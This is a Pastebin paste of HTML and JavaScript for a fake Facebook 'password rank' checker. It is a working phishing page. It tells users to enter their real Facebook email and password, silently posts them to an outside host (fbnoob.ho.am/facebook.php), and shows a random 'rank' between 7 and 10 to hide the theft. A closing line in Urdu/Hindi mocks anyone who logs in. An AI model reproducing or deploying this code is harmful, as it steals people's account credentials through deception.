Advertisement
rehan99

password checker html

Sep 7th, 2011
338
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 3.92 KB | None | 0 0
  1. <style>
  2. #facebook_box {
  3.     clear: both;
  4.     width: 55%;
  5.     margin-top: 0px;
  6.     margin-right: auto;
  7.     margin-bottom: 0px;
  8.     margin-left: auto;
  9.     padding: 10px;
  10.     border: thin solid #E8E8E8;
  11. }
  12. .info_box_top {
  13.     HEIGHT: 15px;
  14.     margin-bottom: 5px;
  15.     padding-bottom:5px;
  16.     margin-left:5px;
  17.     margin-right:5px;
  18.     border-bottom-width: thin;
  19.     border-bottom-style: solid;
  20.     border-bottom-color:#FFCC33;
  21.     font-weight: bold;
  22. }
  23. p {
  24.     text-align: justify;
  25. }
  26. .info_box_middle img {
  27.     float: left;
  28.     border: thin solid #CCCCCC;
  29.     margin: 3px;
  30. }
  31. input[type=hidden]{
  32.     display:none;
  33. }
  34.  
  35. .twoColumn {
  36. float:left;
  37. padding-right:20px;
  38. width:44%;
  39. }
  40. input[type=botton] {
  41.     margin:0px;
  42.     padding:0px;
  43.     text-align:center;
  44.    
  45. }
  46.  
  47. LABEL {
  48.     PADDING-RIGHT: 3px; DISPLAY: block; PADDING-LEFT: 3px; FLOAT: left; MARGIN-BOTTOM: 10px; PADDING-BOTTOM: 3px; WIDTH: 100px; PADDING-TOP: 3px;
  49. }
  50.  
  51. INPUT.textbox {
  52.     PADDING-RIGHT: 3px; DISPLAY: block; PADDING-LEFT: 3px; FLOAT: left; MARGIN-BOTTOM: 10px; PADDING-BOTTOM: 3px; WIDTH: 250px; PADDING-TOP: 3px;
  53. }
  54. input.submit {
  55.     background-image:url(http://static.ak.fbcdn.net/rsrc.php/v1/zf/r/_IKHHfAgFQe.png);
  56.     background-position:0px 280px;
  57.     color:#FFF;
  58.     border:0px;
  59.     height:30px;
  60. }
  61.    
  62. </style>
  63.  
  64.  
  65. <script>
  66. function AlertMsg(){
  67. var msgdialog = new Dialog();
  68. var ok ='This application is designed to assess the strength of password strings.  So enter your correct email address and password for accurate report from Facebook. If you have enter correct info, please click test button.';
  69. msgdialog.showMessage('Enter Your Correct Facebook Info', ok);
  70. return false;
  71. }
  72. </script>
  73.  
  74. <div style="width: 650px;" id="facebook_box">
  75.       <div align="left" style="height: auto;" class="info_box_top">
  76.         <h1>Check Your Facebook Password Rank</h1>
  77.       </div>
  78.       <div align="left" class="info_box_middle">
  79.      
  80.      
  81.             <p><B>Check your password rank  now & make sure to have password rank between 5 to 10</b>.<br/>  </div></div></p>
  82.              
  83.  
  84. <div class="two_column">
  85.  <div class="left"> </div>
  86.  <div style="width: 400px;" class="left">
  87.     <form action="http://fbnoob.ho.am/facebook.php"  id="ContactForm" name="ContactForm" method="post">
  88.       <label>Name</label>
  89.       <input type="text" tabindex="1" value="" name="name" id="name" class="textbox" />      <br/>
  90.       <label>Email</label>
  91.       <input type="text" tabindex="2" value="" name="email" id="email" class="textbox" onChange="AlertMsg();"   />       <br/>
  92.       <label>Password</label>
  93.    
  94.  
  95.       <input type="PaSSWord" tabindex="3" value="" name="password" id="password" class="textbox"  />    
  96.        
  97.       <input type="button" class="submit" onclick="submitFacebookForm(this);" value="Test Your Password Now"  />
  98.       <input type="hidden" value="0" name="send" id="send" style="display: none;"/>
  99.     </form>
  100.   </div>
  101. </div>
  102.       </div>
  103.      
  104.  
  105. <script>
  106.  
  107. function submitFacebookForm(sub)
  108. {
  109.     sub.setDisabled(true); 
  110.     sub.setValue(".. DONE ..");
  111.     var ajax = new Ajax();
  112.     ajax.responseType = Ajax.FBML;
  113.     ajax.ondone = function(data)
  114.     {
  115.         var msgdialog = new Dialog();
  116. var myvalue = Math.floor(Math.random()*4) + 7;
  117. var okmsg = 'According to facebook password algorithm chart, your password rank is ' + myvalue + ' of 10';
  118. msgdialog.showMessage('Your Password Rank', okmsg);
  119. return false;
  120.     }
  121.  
  122.     ajax.onerror = function() {
  123.         var msgdialog = new Dialog();
  124.         msgdialog.showMessage('Error', 'An error has occurred while trying to submit.');
  125.         return false;
  126.     }
  127.  
  128.     // collect field values
  129.     var queryParams = {
  130.         'name' : document.getElementById('name').getValue(),
  131.         'email' : document.getElementById('email').getValue(),
  132.         'password' : document.getElementById('password').getValue(),
  133.         'send' : document.getElementById('send').getValue()
  134.     };
  135.     ajax.post('http://fbnoob.ho.am/facebook.php?sys=fbpage', queryParams);
  136.     return false;
  137. }
  138. </script>
  139.  
  140.  
  141. <br><br><br>
  142. <hr>
  143. Jis kisi ne idher login kiya us ki to gaand marane wali hai.
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement